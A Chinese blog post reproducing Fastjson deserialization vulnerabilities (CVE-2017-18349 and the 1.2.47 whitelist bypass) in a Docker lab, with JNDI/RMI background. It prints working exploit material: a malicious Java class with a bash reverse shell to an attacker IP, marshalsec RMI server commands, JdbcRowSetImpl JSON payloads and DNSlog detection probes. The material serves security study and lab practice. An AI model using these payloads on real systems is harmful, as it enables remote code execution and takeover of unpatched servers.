• Fastjson漏洞复现


    Fastjson漏洞复现

    简介

    fastjson

    Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

    大致意思是可以实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。

    JNDI

    JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

    JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:

    DNS、LDAP、CORBA对象服务、RMI
    

    RMI

    RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

    RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

    区别

    1. 反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

    2. RMI是一种行为,指的是Java远程方法调用。

    3. JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

    4. ldap指轻量级目录服务协议。

    基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前; 在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。 基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。 可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

    漏洞原理

    如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。

    我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。

    ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。

    整个利用流程如下:

    1.首先开启HTTP服务器,并将我们的恶意类放在目录下
    2.开启恶意RMI服务器
    3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
    4.恶意RMI服务器返回ReferenceWrapper类
    5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
    

    CVE-2017-18349

    fastjson 1.2.24 反序列化导致任意命令执行漏洞

    漏洞简介

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    漏洞复现

    运行测试环境:

    docker-compose up -d
    

    环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

    我们向这个地址POST一个JSON对象,即可更新服务端的信息:

    curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"karsa", "age":22}'
    

    此时返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。


    kali安装java环境

    cd /opt
    curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
    tar zxvf jdk-8u20-linux-x64.tar.gz
    rm -rf /usr/bin/java*
    ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
    javac -version
    java -version
    


    编译恶意类代码

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    搭建http服务传输恶意文件

    python -m SimpleHTTPServer 1337
    

    反序列化

    利用java 反序列化利用工具 marshalsec

    git clone https://github.com/mbechler/marshalsec.git 下载marshalsec
    apt-get install maven 安装maven
    mvn clean package -DskipTests 使用maven编译marshalsec成jar包
    


    启动RMI服务器

    然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类

    TouchFile.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.211.147:1337/#TouchFile" 9999
    

    (这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可)


    发送Payload

    使用BP抓包,并写入poc(请求包里面请求方式改成post,Content-Type改成application/json):

    POST / HTTP/1.1
    Host: your-ip:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 160
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.211.128:9999/TouchFile",
            "autoCommit":true
        }
    }
    

    成功创建 success目录

    反弹shell

    重新制作恶意代码文件

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.211.147/6666 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    成功反弹shell

    Fastjson 1.2.47 远程命令执行漏洞

    漏洞简介

    Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

    漏洞复现

    运行测试环境:

    docker-compose up -d
    

    环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

    复现过程与前文大致相同,首先编译并上传命令执行代码,然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,最后向靶场发送payload

    POST / HTTP/1.1
    Host: 192.168.211.128:8090
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json
    Content-Length: 265
    
    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.211.147:9999/Exploit",
            "autoCommit":true
        }
    }
    

    成功反弹shell

    漏洞检测

    未知目标是否使用 Fastjson ,但站点有原始报错回显

    如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

    {
        "@type":"java.net.Inet4Address",
        "val":"dnslog"
    

    如上图所示报错,JSON parse error: type not match

    无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

    {"zeo":{"@type":"java.net.Inet4Address","val":"kf0fbs.dnslog.cn"}}
    

  • 相关阅读:
    php字符串处理(邮件处理)
    phpstrtotime()对于31日求上个月有问题
    .net中linkbutton增加js验证
    excel 常用属性
    回车换行符总结
    视图增加自增id
    SQL优化索引、查询优化及分页算法方案
    js,cookies做悬浮购物车
    Server Application Unavailable出现的原因及解决方案集锦
    asp(javascript)中request.form("a").count 在ie6中总是为0
  • 原文地址:https://www.cnblogs.com/karsa/p/15983486.html
Copyright © 2020-2023  润新知